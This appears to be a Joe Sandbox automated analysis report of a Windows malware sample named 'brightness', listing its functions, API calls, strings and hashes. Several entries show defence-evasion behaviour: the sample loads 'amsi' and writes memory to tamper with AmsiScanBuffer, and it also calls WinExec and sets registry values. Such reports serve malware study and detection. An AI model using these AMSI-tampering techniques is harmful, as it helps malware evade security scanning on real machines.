                                                                                                                                                          Function 028F1724 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 289sleepCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 11224 28f1724-28f1736 11225 28f173c-28f174c 11224->11225 11226 28f1968-28f196d 11224->11226 11229 28f174e-28f175b 11225->11229 11230 28f17a4-28f17ad 11225->11230 11227 28f1973-28f1984 11226->11227 11228 28f1a80-28f1a83 11226->11228 11231 28f1938-28f1945 11227->11231 11232 28f1986-28f19a2 11227->11232 11234 28f1a89-28f1a8b 11228->11234 11235 28f1684-28f16ad VirtualAlloc 11228->11235 11236 28f175d-28f176a 11229->11236 11237 28f1774-28f1780 11229->11237 11230->11229 11233 28f17af-28f17bb 11230->11233 11231->11232 11241 28f1947-28f195b Sleep 11231->11241 11238 28f19a4-28f19ac 11232->11238 11239 28f19b0-28f19bf 11232->11239 11233->11229 11240 28f17bd-28f17c9 11233->11240 11242 28f16df-28f16e5 11235->11242 11243 28f16af-28f16dc call 28f1644 11235->11243 11244 28f176c-28f1770 11236->11244 11245 28f1794-28f17a1 11236->11245 11246 28f1782-28f1790 11237->11246 11247 28f17f0-28f17f9 11237->11247 11248 28f1a0c-28f1a22 11238->11248 11249 28f19d8-28f19e0 11239->11249 11250 28f19c1-28f19d5 11239->11250 11240->11229 11251 28f17cb-28f17de Sleep 11240->11251 11241->11232 11254 28f195d-28f1964 Sleep 11241->11254 11243->11242 11252 28f182c-28f1836 11247->11252 11253 28f17fb-28f1808 11247->11253 11260 28f1a3b-28f1a47 11248->11260 11261 28f1a24-28f1a32 11248->11261 11257 28f19fc-28f19fe call 28f15cc 11249->11257 11258 28f19e2-28f19fa 11249->11258 11250->11248 11251->11229 11256 28f17e4-28f17eb Sleep 11251->11256 11262 28f18a8-28f18b4 11252->11262 11263 28f1838-28f1863 11252->11263 11253->11252 11259 28f180a-28f181e Sleep 11253->11259 11254->11231 11256->11230 11267 28f1a03-28f1a0b 11257->11267 11258->11267 11259->11252 11269 28f1820-28f1827 Sleep 11259->11269 11273 28f1a49-28f1a5c 11260->11273 11274 28f1a68 11260->11274 11261->11260 11270 28f1a34 11261->11270 11265 28f18dc-28f18eb call 28f15cc 11262->11265 11266 28f18b6-28f18c8 11262->11266 11271 28f187c-28f188a 11263->11271 11272 28f1865-28f1873 11263->11272 11285 28f18fd-28f1936 11265->11285 11289 28f18ed-28f18f7 11265->11289 11276 28f18cc-28f18da 11266->11276 11277 28f18ca 11266->11277 11269->11253 11270->11260 11280 28f188c-28f18a6 call 28f1500 11271->11280 11281 28f18f8 11271->11281 11272->11271 11279 28f1875 11272->11279 11275 28f1a6d-28f1a7f 11273->11275 11282 28f1a5e-28f1a63 call 28f1500 11273->11282 11274->11275 11276->11285 11277->11276 11279->11271 11280->11285 11281->11285 11282->11275
                                                                                                                                                          APIs
                                                                                                                                                          • Sleep.KERNEL32(00000000,?,028F1FC1), ref: 028F17D0
                                                                                                                                                          • Sleep.KERNEL32(0000000A,00000000,?,028F1FC1), ref: 028F17E6
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Sleep
                                                                                                                                                          • String ID: !I
                                                                                                                                                          • API String ID: 3472027048-3692765505
                                                                                                                                                          • Opcode ID: a5903d90bc94ec679fea9d172fc66ed0b22f54f0c750698a6810f08c8a49197f
                                                                                                                                                          • Instruction ID: 5d8b702a88edcb26042378f65d3d18752f514b832b0192171e730c189b2bcd7e
                                                                                                                                                          • Opcode Fuzzy Hash: a5903d90bc94ec679fea9d172fc66ed0b22f54f0c750698a6810f08c8a49197f
                                                                                                                                                          • Instruction Fuzzy Hash: 24B1417EA05341CBCB55CF68D898B66BBE1FB84324F1886AED64DCB385C7709461CB90
                                                                                                                                                          Function 02908784 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          APIs
                                                                                                                                                          • LoadLibraryW.KERNEL32(amsi), ref: 0290878D
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                            • Part of subcall function 02907D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02907DEC
                                                                                                                                                          • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 029087EC
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
                                                                                                                                                          • String ID: DllGetClassObject$W$amsi
                                                                                                                                                          • API String ID: 941070894-2671292670
                                                                                                                                                          • Opcode ID: ce6e2ce69fe072e969aebef8ce8a33473c78d9c10c2d29cd29013a794a53e504
                                                                                                                                                          • Instruction ID: 42c6fbd0db402646229f04b2ae3629069e751bf2d5e201f3cab3257423982394
                                                                                                                                                          • Opcode Fuzzy Hash: ce6e2ce69fe072e969aebef8ce8a33473c78d9c10c2d29cd29013a794a53e504
                                                                                                                                                          • Instruction Fuzzy Hash: 45F0445054C3857DD301E3B98C85F4BBFCD5F92234F048A59B2E89A2D2D679D1448B77
                                                                                                                                                          Function 028F1A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 13188 28f1a8c-28f1a9b 13189 28f1b6c-28f1b6f 13188->13189 13190 28f1aa1-28f1aa5 13188->13190 13191 28f1c5c-28f1c60 13189->13191 13192 28f1b75-28f1b7f 13189->13192 13193 28f1b08-28f1b11 13190->13193 13194 28f1aa7-28f1aae 13190->13194 13197 28f16e8-28f170b call 28f1644 VirtualFree 13191->13197 13198 28f1c66-28f1c6b 13191->13198 13200 28f1b3c-28f1b49 13192->13200 13201 28f1b81-28f1b8d 13192->13201 13193->13194 13199 28f1b13-28f1b27 Sleep 13193->13199 13195 28f1adc-28f1ade 13194->13195 13196 28f1ab0-28f1abb 13194->13196 13206 28f1af3 13195->13206 13207 28f1ae0-28f1af1 13195->13207 13204 28f1abd-28f1ac2 13196->13204 13205 28f1ac4-28f1ad9 13196->13205 13219 28f170d-28f1714 13197->13219 13220 28f1716 13197->13220 13199->13194 13209 28f1b2d-28f1b38 Sleep 13199->13209 13200->13201 13210 28f1b4b-28f1b5f Sleep 13200->13210 13202 28f1b8f-28f1b92 13201->13202 13203 28f1bc4-28f1bd2 13201->13203 13211 28f1b96-28f1b9a 13202->13211 13203->13211 13213 28f1bd4-28f1bd9 call 28f14c0 13203->13213 13212 28f1af6-28f1b03 13206->13212 13207->13206 13207->13212 13209->13193 13210->13201 13215 28f1b61-28f1b68 Sleep 13210->13215 13216 28f1bdc-28f1be9 13211->13216 13217 28f1b9c-28f1ba2 13211->13217 13212->13192 13213->13211 13215->13200 13216->13217 13225 28f1beb-28f1bf2 call 28f14c0 13216->13225 13221 28f1bf4-28f1bfe 13217->13221 13222 28f1ba4-28f1bc2 call 28f1500 13217->13222 13224 28f1719-28f1723 13219->13224 13220->13224 13228 28f1c2c-28f1c59 call 28f1560 13221->13228 13229 28f1c00-28f1c28 VirtualFree 13221->13229 13225->13217
                                                                                                                                                          APIs
                                                                                                                                                          • Sleep.KERNEL32(00000000,?,?,00000000,028F1FE4), ref: 028F1B17
                                                                                                                                                          • Sleep.KERNEL32(0000000A,00000000,?,?,00000000,028F1FE4), ref: 028F1B31
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Sleep
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3472027048-0
                                                                                                                                                          • Opcode ID: c28cbc204632509691e420ceab4343b89db93c521d08d01fd257c17546f6d6d1
                                                                                                                                                          • Instruction ID: 644d79f1c042ddd595e15297ad4cf6bab3f126c7cd927de899db241791c1e57b
                                                                                                                                                          • Opcode Fuzzy Hash: c28cbc204632509691e420ceab4343b89db93c521d08d01fd257c17546f6d6d1
                                                                                                                                                          • Instruction Fuzzy Hash: 8E51EF7D605240CFD795CF6CC988B66BBD0AB45328F1885AED64CCB382E774C445CBA1
                                                                                                                                                          Function 0290E7AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          APIs
                                                                                                                                                          • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0290E8EA
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CheckConnectionInternet
                                                                                                                                                          • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                          • API String ID: 3847983778-3852638603
                                                                                                                                                          • Opcode ID: a0e80a25603392b6f89f227b4db448ab0641d11b82918a5c931bd9c249e104f0
                                                                                                                                                          • Instruction ID: eb079c670eee1167f5b63f199f21283d07931d4a381085e70a5016319bb84ecf
                                                                                                                                                          • Opcode Fuzzy Hash: a0e80a25603392b6f89f227b4db448ab0641d11b82918a5c931bd9c249e104f0
                                                                                                                                                          • Instruction Fuzzy Hash: 0A41033DF1010D9FEB40EBA8D880A9FB3FAEF88700F504866E651E7291DA75AD018F51
                                                                                                                                                          Function 0290889C Relevance: 6.1, APIs: 4, Instructions: 65libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                          • GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                          • GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 02907D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02907DEC
                                                                                                                                                          • FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1543721669-0
                                                                                                                                                          • Opcode ID: 01e99e442185ef1b878cfa90ec764cebb137be913f3665ef5dc41528465a4844
                                                                                                                                                          • Instruction ID: 3e4184e2a1b920a77ee3e2f5f988a0f430ab32f1e350b6d82dc561de723c25de
                                                                                                                                                          • Opcode Fuzzy Hash: 01e99e442185ef1b878cfa90ec764cebb137be913f3665ef5dc41528465a4844
                                                                                                                                                          • Instruction Fuzzy Hash: BA11307CF41308AFEB80FBADD851E5E77E9AB84708F5004216714E7691EA74E9008B1A
                                                                                                                                                          Function 02908486 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • WinExec.KERNEL32(?,?), ref: 029084F0
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                          • String ID: Kernel32$WinExec
                                                                                                                                                          • API String ID: 2292790416-3609268280
                                                                                                                                                          • Opcode ID: f7e3a8f67f4bcb98a031d4dcb4678c69ffe396c5918c2099a93fb9f94764244e
                                                                                                                                                          • Instruction ID: dc5c126a1281263a6bc4b682a7bf55e2cfccbe2bbb529cab0ba7875d48c10e66
                                                                                                                                                          • Opcode Fuzzy Hash: f7e3a8f67f4bcb98a031d4dcb4678c69ffe396c5918c2099a93fb9f94764244e
                                                                                                                                                          • Instruction Fuzzy Hash: 64016D78B44308BFE750EAA9DC91F6E77EEFB89B04F908461B600D2680D674ED108A25
                                                                                                                                                          Function 02908488 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908098: GetModuleHandleA.KERNELBASE(?), ref: 029080EA
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                            • Part of subcall function 02908140: GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          • WinExec.KERNEL32(?,?), ref: 029084F0
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                          • String ID: Kernel32$WinExec
                                                                                                                                                          • API String ID: 2292790416-3609268280
                                                                                                                                                          • Opcode ID: 6051af0b6f638a5c61c758030f0b7b70640e0873d2f7cc8e7977d8ccbc04401d
                                                                                                                                                          • Instruction ID: 64ca6ed73fd7cf7556d7b026d76196c23ced048cb52b9c9b937c19f82fc51db4
                                                                                                                                                          • Opcode Fuzzy Hash: 6051af0b6f638a5c61c758030f0b7b70640e0873d2f7cc8e7977d8ccbc04401d
                                                                                                                                                          • Instruction Fuzzy Hash: C6F06D78B44308AFE750EAA9DC91F5E77EEFB89B04F908461B600D2680D674A9108A25
                                                                                                                                                          Function 02905C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02905D74,?,?,02903900,00000001), ref: 02905C88
                                                                                                                                                          • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02905D74,?,?,02903900,00000001), ref: 02905CB6
                                                                                                                                                            • Part of subcall function 028F7D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02903900,02905CF6,00000000,02905D74,?,?,02903900), ref: 028F7DAA
                                                                                                                                                            • Part of subcall function 028F7F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02903900,02905D11,00000000,02905D74,?,?,02903900,00000001), ref: 028F7FB7
                                                                                                                                                          • GetLastError.KERNEL32(00000000,02905D74,?,?,02903900,00000001), ref: 02905D1B
                                                                                                                                                            • Part of subcall function 028FA778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,028FC3D9,00000000,028FC433), ref: 028FA797
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 503785936-0
                                                                                                                                                          • Opcode ID: 7837513618308a6a9e9e478fd6b201302e34dd95395f0e21c09b0ad96e378277
                                                                                                                                                          • Instruction ID: da6f91e942c40fe8741f10ec352c2ec1a43e135ec7f168f5794f4d645521f769
                                                                                                                                                          • Opcode Fuzzy Hash: 7837513618308a6a9e9e478fd6b201302e34dd95395f0e21c09b0ad96e378277
                                                                                                                                                          • Instruction Fuzzy Hash: 25317378A006099FDB40EFA8C881BAEB7F6AF48710F918565D604EB390E7755D048FA2
                                                                                                                                                          Function 0290F506 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • RegOpenKeyA.ADVAPI32(?,00000000,02A3FA64), ref: 0290F54C
                                                                                                                                                          • RegSetValueExA.ADVAPI32(000008D8,00000000,00000000,00000001,00000000,0000001C,00000000,0290F5B7), ref: 0290F584
                                                                                                                                                          • RegCloseKey.ADVAPI32(000008D8,000008D8,00000000,00000000,00000001,00000000,0000001C,00000000,0290F5B7), ref: 0290F58F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CloseOpenValue
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 779948276-0
                                                                                                                                                          • Opcode ID: b2a375890a2101088475670030c3001b940dca1a3c71d72442375fb74b8c1a3f
                                                                                                                                                          • Instruction ID: fb80ebcb54ac3d579800f3e28ed9ebc64ba7ff6e4e9740995368847644dd28d6
                                                                                                                                                          • Opcode Fuzzy Hash: b2a375890a2101088475670030c3001b940dca1a3c71d72442375fb74b8c1a3f
                                                                                                                                                          • Instruction Fuzzy Hash: 7F11E979B50208AFEB90EF6CDC81D9E77ADEB08700B404461FA14D7A60DA30EA418A55
                                                                                                                                                          Function 0290F508 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • RegOpenKeyA.ADVAPI32(?,00000000,02A3FA64), ref: 0290F54C
                                                                                                                                                          • RegSetValueExA.ADVAPI32(000008D8,00000000,00000000,00000001,00000000,0000001C,00000000,0290F5B7), ref: 0290F584
                                                                                                                                                          • RegCloseKey.ADVAPI32(000008D8,000008D8,00000000,00000000,00000001,00000000,0000001C,00000000,0290F5B7), ref: 0290F58F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CloseOpenValue
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 779948276-0
                                                                                                                                                          • Opcode ID: 6ec853a241d287491fbeaa503c5bf3d5a579b19ec1728928efba141eded6ef29
                                                                                                                                                          • Instruction ID: 5cc38e20b5d536c2cf37197a481fc8843140534c2f0be91a98fc7167dcc0f1f3
                                                                                                                                                          • Opcode Fuzzy Hash: 6ec853a241d287491fbeaa503c5bf3d5a579b19ec1728928efba141eded6ef29
                                                                                                                                                          • Instruction Fuzzy Hash: EF11E979B50208AFEB90EF68DC81D9E77ADEB08700B404461FA14D7A60DA30EA418A55
                                                                                                                                                          Function 028FE364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ClearVariant
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1473721057-0
